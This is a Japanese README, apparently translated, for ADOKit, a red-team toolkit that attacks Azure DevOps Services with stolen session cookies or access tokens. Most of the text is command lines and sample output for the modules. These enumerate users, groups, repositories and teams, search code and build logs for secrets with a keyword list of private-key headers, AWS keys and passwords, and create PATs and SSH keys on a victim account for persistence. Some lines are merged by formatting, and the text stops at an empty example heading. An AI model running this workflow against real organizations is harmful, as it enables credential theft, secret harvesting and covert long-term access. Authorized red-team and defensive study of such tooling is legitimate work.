
モジュール式の攻撃ツールキットで、盗まれたCookieやPATを使用してAzure DevOps REST APIを悪用し、偵察、権限昇格、持続性を実現します。
Azure DevOps Services 攻撃ツールキット - ADOKit は、利用可能な REST API を活用して Azure DevOps Services を攻撃するために使用できるツールキットです。このツールは、攻撃モジュールを指定し、それぞれの Azure DevOps Services インスタンスの有効な資格情報(API キーまたは盗難された認証クッキー)を指定することができます。サポートされている攻撃モジュールには、偵察、権限昇格、永続化が含まれます。ADOKit はモジュール方式で構築されているため、情報セキュリティコミュニティが将来新しいモジュールを追加できるように設計されています。
ADOKit が使用する手法の詳細は、X-Force Red のホワイトペーパーに記載されています。
プレゼンテーションスライドとデモは、このリポジトリの BHUSA Arsenal 2024 フォルダに含まれています。
このプロジェクトでは以下のサードパーティライブラリを使用しています。
| ライブラリ | URL | ライセンス |
|---|---|---|
| Fody | https://github.com/Fody/Fody | MIT License |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | MIT License |
以下の手順で Visual Studio を設定し、自分でプロジェクトをコンパイルします。これには NuGet パッケージマネージャーからインストールできる 2 つの .NET ライブラリが必要です。
https://api.nuget.org/v3/index.json でパッケージソースを追加します。Install-Package Costura.Fody -Version 3.3.3Install-Package Newtonsoft.Json"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"ADOKit を使用して Azure DevOps インスタンスに認証する場合の認証オプションは以下のとおりです。
.dev.azure.com ドメインの UserAuthentication Cookie です。
/credential:UserAuthentication=ABC123.dev.azure.com ドメインの AadAuthentication Cookie です。
/credential:eyJ0.../credential:apiToken"aud":"https://management.core.windows.net/") または Azure DevOps ("aud":"499b84ac-1321-427f-aa17-267ca6975798") に対して有効である必要があります。
/credential:eyJ0..以下の表は、各モジュールに必要な権限を示しています。
認証チェックを実行し、組織が Azure DevOps を使用していることと、提供された資格情報が有効であることを確認します。
check モジュールを、関連する認証情報と URL とともに指定します。これにより、提供された組織が Azure DevOps を使用しているかどうかが出力され、使用している場合は提供された資格情報の検証が試行されます。
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
### Whoami
#### ユースケース
> *現在のユーザーとそのユーザーのグループメンバーシップを取得する*
#### 構文
認証情報とURLとともに、`whoami` モジュールを指定します。これにより、現在のユーザーとそのすべてのグループメンバーシップが出力されます。
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 出力例```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
指定されたアクセストークンを使用して組織を取得します。
listorgs モジュールに必要な認証情報を提供します。デフォルトでは、このコマンドは提供されたアクセストークンでアクセス可能な組織のみを一覧表示します。
/mode:aad を使用すると、直接アクセス権の有無にかかわらず、Azure AD テナント内の すべての DevOps 組織を列挙します。/endpoint:ENDPOINT_NAME を使用して、カスタム AEX エンドポイントを指定します。
aex.dev.azure.com の "X-VSS-DeploymentAffinity" クッキーを調べることで特定できます。ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]
ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21
C:>ADOKit.exe listorgs /credential:"eyj0..."
================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
### リポジトリ一覧
#### ユースケース
> *Azure DevOpsインスタンスで使用されているリポジトリを発見する*
#### 構文
`listrepo`モジュールを、関連する認証情報とURLとともに指定します。これにより、リポジトリ名とURLが出力されます。
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 出力例```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
Azure DevOpsインスタンス内でリポジトリ名でリポジトリを検索します
searchrepoモジュールと検索条件を/search:コマンドライン引数で指定し、関連する認証情報とURLを付与します。これにより、一致するリポジトリ名とURLが出力されます。
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
### プロジェクト一覧
#### ユースケース
> *Azure DevOps インスタンスで使用されているプロジェクトを検出する*
#### 構文
`listproject` モジュールを、関連する認証情報とURLとともに指定します。これにより、プロジェクト名、可視性(パブリックまたはプライベート)、およびURLが出力されます。
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 出力例```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
Azure DevOps インスタンス内のプロジェクト名でプロジェクトを検索します。
searchproject モジュールと検索条件を /search: コマンドライン引数に、関連する認証情報と URL と共に指定します。これにより、一致するプロジェクト名、可視性(公開またはプライベート)、および URL が出力されます。
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
### コードの検索
#### ユースケース
> *Azure DevOps インスタンス内で指定されたキーワードを含むコードを検索します*
#### 構文
`searchcode` モジュールと検索条件を `/search:` コマンドライン引数に指定し、関連する認証情報と URL を合わせて指定します。これにより、一致したコード行と共に、該当するコードファイルの URL が出力されます。
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### 出力例```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
Azure DevOps のリポジトリ内で、ファイル名に特定のキーワードを含むファイルを検索する
searchfile モジュールと /search: コマンドライン引数に検索条件を指定し、関連する認証情報と URL を併せて指定します。これにより、該当するリポジトリ内の一致するファイルの URL が出力されます。
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
### Creds 検索
#### ユースケース
> *Azure DevOps 内でパスワードやAPIキーなどのシークレットを含むコードを検索します*
#### 構文
`creds` モジュールを、関連する認証情報とURLとともに指定します。これにより、一致するファイルのURL(該当リポジトリ内)と、クレデンシャルが存在する一致行が出力されます。
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 出力例```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
すべてのパイプライン実行(ビルドログ)のログをダウンロードします。その後、オフラインで情報や機密情報を検索できます。
getbuildlogs モジュールを /project: と共に指定して、指定されたプロジェクトのすべてのビルドログをダウンロードします。すべてのプロジェクトのログをダウンロードしたい場合は、/project: 引数に all を指定します。これにより、ログをダウンロードするための ADOKit-[ランダム8文字] フォルダがカレントワーキングディレクトリに作成されます。
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
### ビルドログの一覧表示
#### ユースケース
> *指定されたプロジェクトまたはすべてのプロジェクトで利用可能なビルドログを一覧表示します。*
#### 構文
特定のプロジェクトのビルドログをすべて一覧表示するには、`listbuildlogs` モジュールに `/project:` を指定して実行します。すべてのプロジェクトのログを一覧表示する場合は、`/project:` 引数に `all` を指定します。
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### 出力例```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
Azure DevOps インスタンス内で特定のキーワードを含むビルドログを検索します
/search: コマンドライン引数に searchbuildlogs モジュールと検索条件を指定し、さらに /project: で特定のプロジェクトを指定して、そのプロジェクトのすべてのビルドログを検索します。すべてのプロジェクトのビルドログを検索する場合は、/project: 引数に all を指定します。これにより、一致したビルド出力ログファイルの URL と、ビルドログ内で一致した行が出力されます。
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
### PATを作成する
#### ユースケース
> *Azure DevOps インスタンスへの永続化に使用できる、ユーザー用の個人用アクセストークン (PAT) を作成します。*
#### 構文
`createpat` モジュールと、関連する認証情報および URL を指定します。これにより、作成された PAT の ID、名前、スコープ、有効期限、トークン内容が出力されます。作成される PAT の名前は `ADOKit-` の後に 8 文字のランダムな文字列が続きます。PAT の有効期限は、Azure DevOps で許可される最大期間である作成日から 1 年後になります。
`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 出力例```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
Azure DevOpsインスタンス内の特定ユーザーの個人用アクセストークン(PAT)をすべて一覧表示します。
listpatモジュールを、関連する認証情報とURLとともに指定します。これにより、ユーザーのすべてのアクティブなPATについて、PAT ID、名前、スコープ、有効期限が出力されます。
ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
### Remove PAT
#### ユースケース
> *指定されたユーザーのPATをAzure DevOpsインスタンスから削除します。*
#### 構文
モジュール `removepat` を、関連する認証情報とURLとともに指定します。さらに、`/id:` 引数にPATのIDを指定します。これにより、PATが削除されたかどうかが出力され、削除実行後にユーザーの現在のアクティブなPATが一覧表示されます。
`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### 出力例```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
Azure DevOpsインスタンスへの永続化に使用できるSSHキーをユーザー用に作成します。
createsshkeyモジュールと、関連する認証情報およびURLを指定します。さらに、/sshkey:引数に公開SSHキーを指定します。これにより、作成されたSSHキーのID、名前、スコープ、有効期限日、公開SSHキーの末尾20文字が出力されます。作成されるSSHキーの名前はADOKit-に続く8文字のランダム文字列となります。SSHキーの有効期限は作成日から1年後で、これはAzure DevOpsで許容される最大値です。
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
### SSHキーの一覧表示
#### ユースケース
> *Azure DevOpsインスタンス内の指定されたユーザーの公開SSHキーをすべて一覧表示します。*
#### 構文
`listsshkey` モジュールを、関連する認証情報とURLとともに指定します。これにより、ユーザーのすべてのアクティブなSSHキーについて、SSHキーID、名前、スコープ、有効期限が出力されます。さらに、公開SSHキーの最後の20文字が表示されます。
`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 出力例```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
Azure DevOpsインスタンス内の指定されたユーザーのSSHキーを削除します。
removesshkeyモジュールを、関連する認証情報とURLとともに指定します。さらに、/id:引数でSSHキーのIDを指定します。これにより、SSHキーが削除されたかどうかが出力され、削除後にユーザーの現在のアクティブなSSHキーが一覧表示されます。
ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
### ユーザー一覧
#### ユースケース
> *Azure DevOps インスタンス内のユーザーを一覧表示する*
#### 構文
`listuser` モジュールと、関連する認証情報およびURLを指定します。これにより、ユーザー名、表示名、ユーザープリンシパル名が出力されます。
`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 出力例```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
jsmith | John Smith | [email protected]
rsmith | Ron Smith | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:08 Finished execution of listuser
指定されたユーザーを Azure DevOps インスタンスで検索します
searchuser モジュールと /search: コマンドライン引数で検索条件を指定し、関連する認証情報と URL を合わせて指定します。一致するユーザー名、表示名、ユーザー プリンシパル名が出力されます。
ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
user1 | User 1 | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:24 Finished execution of searchuser
### チーム一覧
#### ユースケース
> *Azure DevOps インスタンス内のチームを一覧表示する*
#### 構文
`listteam` モジュールを、関連する認証情報とURLとともに指定します。これにより、チーム名、プロジェクト名、チームの説明が出力されます。
`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 出力例```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
Azure DevOps インスタンス内の指定されたチームを検索します
searchteam モジュールと /search: コマンドライン引数に検索条件を指定し、適切な認証情報とURLを指定します。これにより、チーム名、プロジェクト名、チームの説明が出力されます。
ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
### チームメンバーの取得
#### ユースケース
> *指定されたチームのチームメンバーを取得する*
#### 構文
`getteammembers` モジュールと検索条件を `/search:` コマンドライン引数に指定し、関連する認証情報とURLを指定します。これにより、チーム名、チームメンバーのユーザー名、チームメンバーの表示名が出力されます。
`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### 出力例
